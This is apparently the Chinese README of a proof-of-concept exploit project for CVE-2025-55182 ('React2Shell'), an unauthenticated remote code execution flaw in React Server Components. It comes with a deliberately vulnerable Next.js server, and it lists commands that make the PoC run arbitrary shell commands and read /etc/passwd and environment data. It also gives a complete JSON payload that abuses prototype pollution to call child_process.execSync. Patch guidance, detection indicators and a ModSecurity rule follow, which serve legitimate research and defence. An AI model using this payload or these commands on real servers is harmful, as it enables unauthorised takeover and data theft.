
概念验证漏洞利用脚本,用于CVE-2025-55182(React2Shell),演示在React服务器组件中通过Flight协议反序列化实现未经认证的远程代码执行。包含易受攻击的服务器设置和检测脚本。
警告:本项目仅可用于安全研究和教育目的。 未经许可在他人系统上使用属于违法行为。
| 项目 | 内容 |
|---|---|
| CVE ID | CVE-2025-55182 |
| 别名 | React2Shell |
| CVSS 分数 | 10.0 (Critical - 最高严重等级) |
| 漏洞类型 | 未认证远程代码执行 (RCE) |
| 发现者 | Lachlan Davidson |
| 公开日期 | 2025年12月3日 |
react-server-dom-webpack: 19.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0, 19.1.0, 19.1.1, 19.2.0CVE-2025-55182/
├── README.md # 本文件
├── vulnerable-server/ # 存在漏洞的 Next.js 服务器
│ ├── package.json
│ ├── next.config.js
│ ├── tsconfig.json
│ └── app/
│ ├── layout.tsx
│ ├── page.tsx
│ └── actions.ts # Server Action
├── exploit/ # 攻击 PoC
│ ├── package.json
│ ├── poc.js # RCE 攻击脚本
│ └── check-vulnerability.js # 漏洞检查脚本
└── React2Shell-CVE-2025-55182-original-poc/ # 原始 PoC 参考
# 安装依赖
cd vulnerable-server
npm install
# 以开发模式运行服务器(端口 3000)
npm run dev
服务器将在 http://localhost:3000 上运行。
在新终端中:
# 安装依赖
cd exploit
npm install
# 检查漏洞
npm run check
# 运行 PoC(测试模式)
npm run exploit
node poc.js -m test
# macOS
node poc.js -m calc
# Linux
node poc.js -m calc -c linux
# Windows
node poc.js -m calc -c windows
# 执行 id 命令
node poc.js -t http://localhost:3000 -m rce -c "id"
# 读取文件
node poc.js -t http://localhost:3000 -m rce -c "cat /etc/passwd"
# 系统信息
node poc.js -t http://localhost:3000 -m rce -c "uname -a"
node poc.js -t http://localhost:3000 -m env
node poc.js -m custom -c "require('fs').readFileSync('/etc/passwd').toString()"
React Server Components 的 Flight 协议在处理客户端发送的数据时,反序列化过程存在缺陷。
requireModule 函数信任客户端发送的属性名称,未加验证
→ 执行 moduleExports[metadata[NAME]] 时未进行 hasOwnProperty 检查
→ 可操纵原型链(服务端原型污染)
→ 获取 Function 构造函数 → RCE
$@x 反序列化 - 获取 Chunk 对象引用.then 方法的 thenable 对象status: resolved_model_response、_formData 等$1:constructor:constructornew Function(恶意代码){
'0': '$1',
'1': {
'status': 'resolved_model',
'reason': 0,
'_response': '$4',
'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
'then': '$2:then'
},
'2': '$@3',
'3': [],
'4': {
'_prefix': 'process.mainModule.require("child_process").execSync("id")//',
'_formData': {
'get': '$3:constructor:constructor'
},
'_chunks': '$2:_response:_chunks'
}
}
# 15.0.x 用户
npm install [email protected]
# 15.1.x 用户
npm install [email protected]
# 15.2.x 用户
npm install [email protected]
npm install [email protected]
npm install [email protected]
npm install [email protected]
POST 请求Next-Action 头multipart/form-data 格式$@、resolved_model、constructor 等模式# 检测可疑 Flight Payload
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
"id:1001,phase:2,deny,status:403,\
chain"
SecRule REQUEST_BODY "@rx constructor.*constructor" \
"t:lowercase"
本项目仅供教育和研究目的。 禁止用于恶意目的。
注意:如果在实际环境中发现此漏洞,请立即修补。 若确认遭到攻击,请向安全团队报告并执行入侵调查。